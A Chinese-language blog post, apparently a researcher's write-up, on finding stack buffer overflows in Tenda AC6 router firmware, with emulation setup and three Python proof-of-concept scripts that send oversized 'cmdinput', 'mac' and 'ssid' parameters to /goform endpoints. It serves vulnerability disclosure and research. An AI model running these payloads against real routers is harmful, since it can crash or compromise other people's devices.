tenda路由器漏洞挖掘
记录一下自己挖掘路由器的过程,漏洞技术含量不高,挖了几个溢出漏洞分配了CVE编号。
CVE-2025-0349
CVE-2025-25343
环境搭建
从官网上下载固件
版本:AC6 V15.03.05.16
https://www.tenda.com.cn/material/show/102661`
提取固件
binwalk -Me --run-as=root AC6V1.0BR_V15.03.05.16_multi_TD01.bin
查看软件架构 ARM架构
复制 qemu-arm-static 到当前目录
cp /usr/bin/qemu-arm-static .
创建br0网卡
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo ifconfig br0 up # 启用 br0 接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
运行命令
sudo chroot ./ ./qemu-arm-static ./bin/httpd_file
用ida打开,搜索WeLoveLinux
需要对 httpd
进行修改,模拟仿真环境,使用 ida工具
把 MOV R3 R0
修改为MOV R3 #1
,就可以了
成功搭建运行 tenda 路由器
将webroot_ro
文件夹内容复制到 webroot
文件夹中
cp -r webroot_ro/* webroot/
formexeCommand 溢出漏洞
使用插件 https://github.com/Accenture/VulFi
搜索关键字,通过IDA插件快速挖掘溢出漏洞。
成功利用溢出漏洞
import requests
# 构造溢出载荷
def create_payload():
# 假设 cmdinput 的目标缓冲区大小为 512 字节
buffer_size = 51200
# 填充 512 字节(覆盖 s 数组)
payload = b"A" * buffer_size
# 假设我们想覆盖 v11(4 字节,Little-endian 格式),填充目标数据
# 举例:将 v11 设置为 0xdeadbeef
v11_value = b"\xef\xbe\xad\xde"
# 将溢出数据和 v11_value 拼接
payload += v11_value
return payload
# 构造 HTTP 请求并发送
def send_payload(url, payload):
# 发送 GET 请求,带上恶意的 cmdinput 参数
params = {'cmdinput': payload}
response = requests.get(url, params=params)
response = requests.get(url, params=params)
# 打印响应内容
print("Response status code:", response.status_code)
print("Response body:", response.text)
if __name__ == "__main__":
# 目标 URL
url = "http://192.168.18.131/goform/exeCommand"
# 创建恶意载荷
payload = create_payload()
# 发送恶意请求
send_payload(url, payload)
GetParentControlInfo 函数 缓冲区溢出漏洞
在这段代码中,strcpy
被用来将 src
指向的字符串拷贝到 s
所指向的内存区域的偏移 2 处。问题出在这几点:
-
目标缓冲区大小不明确:
s
被分配了0x254
字节的内存(596 字节),但strcpy
并没有检查目标缓冲区的大小,而是直接将src
的内容复制到s + 2
位置。如果src
字符串的长度超过了s + 2
位置后可用的内存空间,strcpy
将会导致缓冲区溢出。 -
未验证
src
的大小:src
是从sub_2B7C4(a1, "mac", &unk_EA0EC)
获取的,未能确保该字符串不会超过s + 2
偏移后的内存空间大小。如果src
的长度过长,超出s
分配的内存范围,strcpy
会写入超出边界的内存区域,导致溢出。
import requests
# 构造溢出载荷
def create_payload():
buffer_size = 51200
payload = b"A" * buffer_size
v11_value = b"\xef\xbe\xad\xde"
payload += v11_value
return payload
# 构造 HTTP 请求并发送
def send_payload(url, payload):
params = {'mac': payload}
response = requests.get(url, params=params)
response = requests.get(url, params=params)
print("Response status code:", response.status_code)
print("Response body:", response.text)
if __name__ == "__main__":
# 目标 URL
url = "http://192.168.18.131/goform/GetParentControlInfo"
# 创建恶意载荷
payload = create_payload()
# 发送恶意请求
send_payload(url, payload)
form_fast_setting_wifi_set 溢出漏洞
从 form_fast_setting_wifi_set
函数中 ,ssid
赋值给 src
,src
是一个指向字符串的指针 char *src;
src = (char *)sub_2B7C4(a1, "ssid", &unk_DFB94);
strcpy(s, src);
strcpy(dest, src);
strcpy
函数是一个不做边界检查的字符串复制函数,它会将 src
字符串复制到 s
和 dest
缓冲区中,如果 src
字符串长度超过了 s
或 dest
的大小(64 字节),就会发生溢出
跟踪 form_fast_setting_wifi_set
函数调用
知道了 form_fast_setting_wifi_set
函数的路由 fast_setting_wifi_set
接下来直接用脚本跑就行
import requests
# 构造溢出载荷
def create_payload():
buffer_size = 256
payload = b"A" * buffer_size
payload += b"B" * 128
return payload
# 构造 HTTP 请求并发送
def send_payload(url, payload):
params = {'ssid': payload}
response = requests.get(url, params=params)
response = requests.get(url, params=params)
# 打印响应内容
print("Response status code:", response.status_code)
print("Response body:", response.text)
if __name__ == "__main__":
# 目标 URL
url = "http://192.168.18.131/goform/fast_setting_wifi_set"
payload = create_payload()
send_payload(url, payload)